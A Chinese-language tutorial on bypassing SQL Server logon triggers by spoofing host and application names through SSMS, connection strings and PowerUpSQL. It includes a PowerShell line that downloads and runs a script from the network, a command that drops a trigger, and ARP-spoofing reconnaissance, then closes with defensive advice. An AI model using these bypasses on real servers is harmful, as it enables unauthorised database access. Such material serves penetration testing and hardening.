如何绕过SQL Server登录触发器限制
字数 1143 2025-08-29 08:32:18
SQL Server登录触发器绕过技术详解
1. 登录触发器概述
登录触发器是一种特殊的存储过程,在SQL Server身份验证通过后、会话完全建立前执行。主要用于:
- 根据时间限制访问
- 基于主机名限制访问
- 基于应用程序名限制访问
- 限制单个用户的并发会话数
2. 创建限制主机名的登录触发器
2.1 查看当前主机名
SELECT HOST_NAME()
2.2 创建主机名白名单触发器
CREATE TRIGGER MyHostsOnly ON ALL SERVER FOR LOGON AS
BEGIN
IF (
HOST_NAME() NOT IN ('ProdBox', 'QaBox', 'DevBox', 'UserBox')
)
BEGIN
RAISERROR('You are not allowed to login', 16, 1);
ROLLBACK;
END
END
3. 绕过主机名限制的方法
3.1 使用SSMS伪造主机名
- 打开"Connect Object Explorer"
- 导航到"Additional Connection Parameters"
- 设置"Workstation ID"属性为白名单中的主机名(如"DevBox")
3.2 使用连接字符串伪造主机名
Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True;Workstation ID=DevBox;
3.3 使用PowerUpSQL伪造主机名
# 加载PowerUpSQL
IEX (New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/PowerUpSQL.ps1")
# 绕过触发器
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT host_name()" -WorkstationId "DevBox"
4. 创建限制应用程序名的登录触发器
4.1 查看当前应用程序名
SELECT APP_NAME()
4.2 创建应用程序名白名单触发器
CREATE TRIGGER MyAppsOnly ON ALL SERVER FOR LOGON AS
BEGIN
IF (
APP_NAME() NOT IN ('Application1','Application2','SuperApp3000','LegacyApp','DevApp1')
)
BEGIN
RAISERROR('You cannot connect to SQL Server from this machine', 16, 1);
ROLLBACK;
END
END
5. 绕过应用程序名限制的方法
5.1 使用SSMS伪造应用程序名
- 打开"Connect Object Explorer"
- 导航到"Additional Connection Parameters"
- 设置"application name"属性为白名单中的应用程序名(如"SuperApp3000")
5.2 使用连接字符串伪造应用程序名
Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True;Application Name=SuperApp3000
或
Data Source=server\instance1;Initial Catalog=Master;Integrated Security=True;AppName=SuperApp3000
5.3 使用PowerUpSQL伪造应用程序名
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -Query "SELECT app_name()" -AppName SuperApp3000
6. 获取白名单信息的方法
6.1 查看登录触发器源代码
SELECT name, OBJECT_DEFINITION(OBJECT_ID) as trigger_definition,
parent_class_desc, create_date, modify_date,
is_ms_shipped, is_disabled
FROM sys.server_triggers
ORDER BY name ASC
6.2 检查应用程序代码
- 反编译.NET或Java应用程序
- 查找连接字符串相关关键字
- 使用工具如JD-GUI和DNSPY
6.3 考察应用流量
- 使用嗅探工具捕获应用程序启动时的数据库请求
- 分析获取白名单信息的流量
6.4 使用域系统列表
- 查询Active Directory获取域计算机列表
- 遍历测试可能的白名单主机名
6.5 使用MITM记录连接
- 通过ARP欺骗拦截连接
- 记录已连接的主机名(注意加密连接的限制)
7. 安全建议
-
不要依赖客户端可控信息:避免仅基于客户端可修改的信息(如主机名、应用名)进行访问控制
-
使用更安全的替代方案:
- 使用网络或主机级防火墙规则
- 基于用户组和权限进行访问控制
-
触发器删除方法:
DROP TRIGGER MyHostsOnly ON ALL SERVER
或通过PowerUpSQL:
Get-SQLQuery -Verbose -Instance MSSQLSRV04\SQLSERVER2014 -WorkstationId "DevBox" -Query 'DROP TRIGGER MyHostsOnly on all server'
8. 总结
本文详细介绍了SQL Server登录触发器的工作原理及绕过技术,重点包括:
- 通过"Workstation ID"属性伪造主机名
- 通过"Application Name"/"AppName"属性伪造应用程序名
- 多种获取白名单信息的方法
- 相关安全建议和最佳实践
这些技术在渗透测试和遗留系统维护中具有实用价值,同时也提醒开发人员不要过度依赖客户端提供的信息进行安全控制。